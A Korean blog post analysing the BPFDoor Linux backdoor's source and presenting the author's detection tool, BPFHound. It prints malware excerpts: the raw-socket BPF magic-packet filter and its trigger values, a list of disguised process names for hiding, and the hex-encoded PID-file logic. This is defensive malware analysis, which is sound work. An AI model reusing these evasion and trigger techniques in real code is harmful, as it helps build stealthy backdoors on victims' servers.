악성코드 분석 - BPFDoor.c 주요 코드 분석 및 BPFDoor 진단 스크립트 제작

 

BPFDoor 오픈 소스 코드

 

https://github.com/gwillgues/BPFDoor/blob/main/bpfdoor.c

BPFDoor/bpfdoor.c at main · gwillgues/BPFDoor

 

 

 

RAW 소켓 통신

[461]   struct sock_fprog filter;
        struct sock_filter bpf_code[] = {
                { 0x28, 0, 0, 0x0000000c },
                { 0x15, 0, 27, 0x00000800 },
                { 0x30, 0, 0, 0x00000017 },
                { 0x15, 0, 5, 0x00000011 },
                { 0x28, 0, 0, 0x00000014 },
                { 0x45, 23, 0, 0x00001fff },
                { 0xb1, 0, 0, 0x0000000e },
                { 0x48, 0, 0, 0x00000016 },
                { 0x15, 19, 20, 0x00007255 },
                { 0x15, 0, 7, 0x00000001 },
                { 0x28, 0, 0, 0x00000014 },
                { 0x45, 17, 0, 0x00001fff },
                { 0xb1, 0, 0, 0x0000000e },
                { 0x48, 0, 0, 0x00000016 },
                { 0x15, 0, 14, 0x00007255 },
                { 0x50, 0, 0, 0x0000000e },
                { 0x15, 11, 12, 0x00000008 },
                { 0x15, 0, 11, 0x00000006 },
                { 0x28, 0, 0, 0x00000014 },
                { 0x45, 9, 0, 0x00001fff },
                { 0xb1, 0, 0, 0x0000000e },
                { 0x50, 0, 0, 0x0000001a },
                { 0x54, 0, 0, 0x000000f0 },
                { 0x74, 0, 0, 0x00000002 },
                { 0xc, 0, 0, 0x00000000 },
                { 0x7, 0, 0, 0x00000000 },
                { 0x48, 0, 0, 0x0000000e },
                { 0x15, 0, 1, 0x00005293 },
                { 0x6, 0, 0, 0x0000ffff },
                { 0x6, 0, 0, 0x00000000 },
        };
 
        filter.len = sizeof(bpf_code)/sizeof(bpf_code[0]);
        filter.filter = bpf_code;
 
        //
        // Build a rawsocket that binds the NIC to receive Ethernet frames
        //
 
        if ((sock = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_IP))) < 1)
                return;
 
        //
        // Set a packet filter
        //
 
        if (setsockopt(sock, SOL_SOCKET, SO_ATTACH_FILTER, &filter, sizeof(filter)) == -1) {
                return;
        }

 

소켓에 SOCK_RAW 설정을 줘서 이더넷에 흘러가는 모든 네트워크 패킷 정보를 Received 할 수 있게 되는데, 이 때 모든 패킷을 보면 안되기 때문에 filter 옵션을 지정해 일부로 매직 넘버 트리거를 설정해두었다. 

 

참고로 위 같은 필터 옵션은 tcpdump -dd 'BPF 문법' 명령어를 통해 생성이 가능하다. 

tcpdump -dd 'ip and udp port 53'
Warning: assuming Ethernet
{ 0x28, 0, 0, 0x0000000c },
{ 0x15, 0, 10, 0x00000800 },
{ 0x30, 0, 0, 0x00000017 },
{ 0x15, 0, 8, 0x00000011 },
{ 0x28, 0, 0, 0x00000014 },
{ 0x45, 6, 0, 0x00001fff },
{ 0xb1, 0, 0, 0x0000000e },
{ 0x48, 0, 0, 0x0000000e },
{ 0x15, 2, 0, 0x00000035 },
{ 0x48, 0, 0, 0x00000010 },
{ 0x15, 0, 1, 0x00000035 },
{ 0x6, 0, 0, 0x00040000 },
{ 0x6, 0, 0, 0x00000000 },

 

https://www.trendmicro.com/ko_kr/research/23/g/detecting-bpfdoor-backdoor-variants-abusing-bpf-filters.html

BPFDoor로 감염된 서버로 부터 매직 패킷이 감지가 되면 공격자의 C2C 서버로 리버스 쉘을 연결 하여 제어가 가능하게 된다. 

 

udp[8:2]=0x7255 or (icmp[8:2]=0x7255 and icmp[icmptype] == icmp-echo) or tcp[((tcp[12]&0xf0)>>2):2]=0x5293 or tcp[((tcp[12]&0xf0)>>2)+26:4]=0x39393939

[BPF Fitler Sample]

 

프로세스 이름 위장

[842]  char *self[] = {
                "/sbin/udevd -d",
                "/sbin/mingetty /dev/tty7",
                "/usr/sbin/console-kit-daemon --no-daemon",
                "hald-addon-acpi: listening on acpi kernel interface /proc/acpi/event",
                "dbus-daemon --system",
                "hald-runner",
                "pickup -l -t fifo -u",
                "avahi-daemon: chroot helper",
                "/sbin/auditd -n",
                "/usr/lib/systemd/systemd-journald"
        };
        
[ . . . ]

[881]   strcpy(cfg.mask, self[rand()%10]);

[ . . . ]

[887]   set_proc_name(argc, argv, cfg.mask);

 

 

백도어 프로세스의 이름을 "/sbin/udevd -d", "/sbin/mingetty /dev/tty7", "/usr/sbin/console-kit-daemon --no-daemon"와 같은 일반적인 프로세스로 위장을 해 탐지가 어렵게 한다. 

 

실제 ps 명령어로 프로세스 명을 확인 하면 아래와 같이 프로세스 명이 바뀐 것을 볼 수 있다. 

root       98983   16420  0 09:21 ?        00:00:00 /sbin/auditd -n

 

 

 

중복 실행 방지

 

[855]   pid_path[0] = 0x2f; pid_path[1] = 0x76; pid_path[2] = 0x61;
        pid_path[3] = 0x72; pid_path[4] = 0x2f; pid_path[5] = 0x72;
        pid_path[6] = 0x75; pid_path[7] = 0x6e; pid_path[8] = 0x2f;
        pid_path[9] = 0x68; pid_path[10] = 0x61; pid_path[11] = 0x6c;
        pid_path[12] = 0x64; pid_path[13] = 0x72; pid_path[14] = 0x75;
        pid_path[15] = 0x6e; pid_path[16] = 0x64; pid_path[17] = 0x2e;
        pid_path[18] = 0x70; pid_path[19] = 0x69; pid_path[20] = 0x64;
        pid_path[21] = 0x00; // /var/run/haldrund.pid
        
        if (access(pid_path, R_OK) == 0) {
                exit(0);
        }

중복 실행 방지를 위해서 /var/run/haldrund.pid 파일이 존재하면 프로그램이 바로 종료된다. 

 

[894]   close(open(pid_path, O_CREAT|O_WRONLY, 0644));

만약 파일이 없어 위에 조건에 부합하지 않을 경우(즉 최초 실행일 경우에) /var/run/haldrund.pid 파일을 만들어 준다. 

 

[232]   static void terminate(void)
        {
                if (getpid() == godpid)
                        remove_pid(pid_path);

                _exit(EXIT_SUCCESS);
        }

        static void on_terminate(int signo)
        {
                terminate();
        }
        static void init_signal(void)
        {
                atexit(terminate);
                signal(SIGTERM, on_terminate);
                return;
        }

init_signal을 설정해서 SIGTERM(kill -15)일 경우 remove_pid 함수를 통해 /var/run/haldrund.pid 파일을 지운다. 

 

 

BPFDoor 진단 스크립트 제작(BPFHound)

 

위의 악성 코드 작동 방식을 참고해서 만든 점검 스크립트

https://github.com/devjanger/BPFHound

GitHub - devjanger/BPFHound: BPFDoor Detection Tool

 

 

 

진단 과정

 

(1) RAW 소켓 프로세스 검사

시스템 내에 RAW 소켓(BPF)을 사용하는 프로세스를 검출하는 과정입니다. 이 과정에 의심되는 프로세스의 PID, 스택 기록이 표시됩니다.

 

(2) 바이너리 파일 추적

“(1) RAW 소켓 프로세스 검사“에서 나온 PID의 바이너리 파일의 해시를 추출하여 시스템 내에 숨겨져 있는 바이너리 파일을 추적합니다. 발견 시 파일의 경로가 출력됩니다.

 

(3) PID 파일 탐지

BPFDoor가 감염 흔적으로 남기는 특이한 PID 파일들을 탐지합니다. 존재하면 해당 파일 경로를 표시하여 백도어가 실행된 흔적을 확인할 수 있습니다.

 

(4) 보고서 파일 출력

해당 실행 경로에 진단 완료 시각 기준의 텍스트 보고서 파일이 생성됩니다.

예) report_bpfdoor_suspect_processes_YYYYMMDD_HHMMSS.txt

 

참고

https://www.ahnlab.com/ko/contents/content-center/35830

BPFDoor 악성코드 분석 및 안랩 대응 현황

 

https://sandflysecurity.com/blog/bpfdoor-an-evasive-linux-backdoor-technical-analysis/

BPFDoor - An Evasive Linux Backdoor Technical Analysis

 

https://www.trendmicro.com/ko_kr/research/23/g/detecting-bpfdoor-backdoor-variants-abusing-bpf-filters.html

Detecting BPFDoor Backdoor Variants Abusing BPF Filters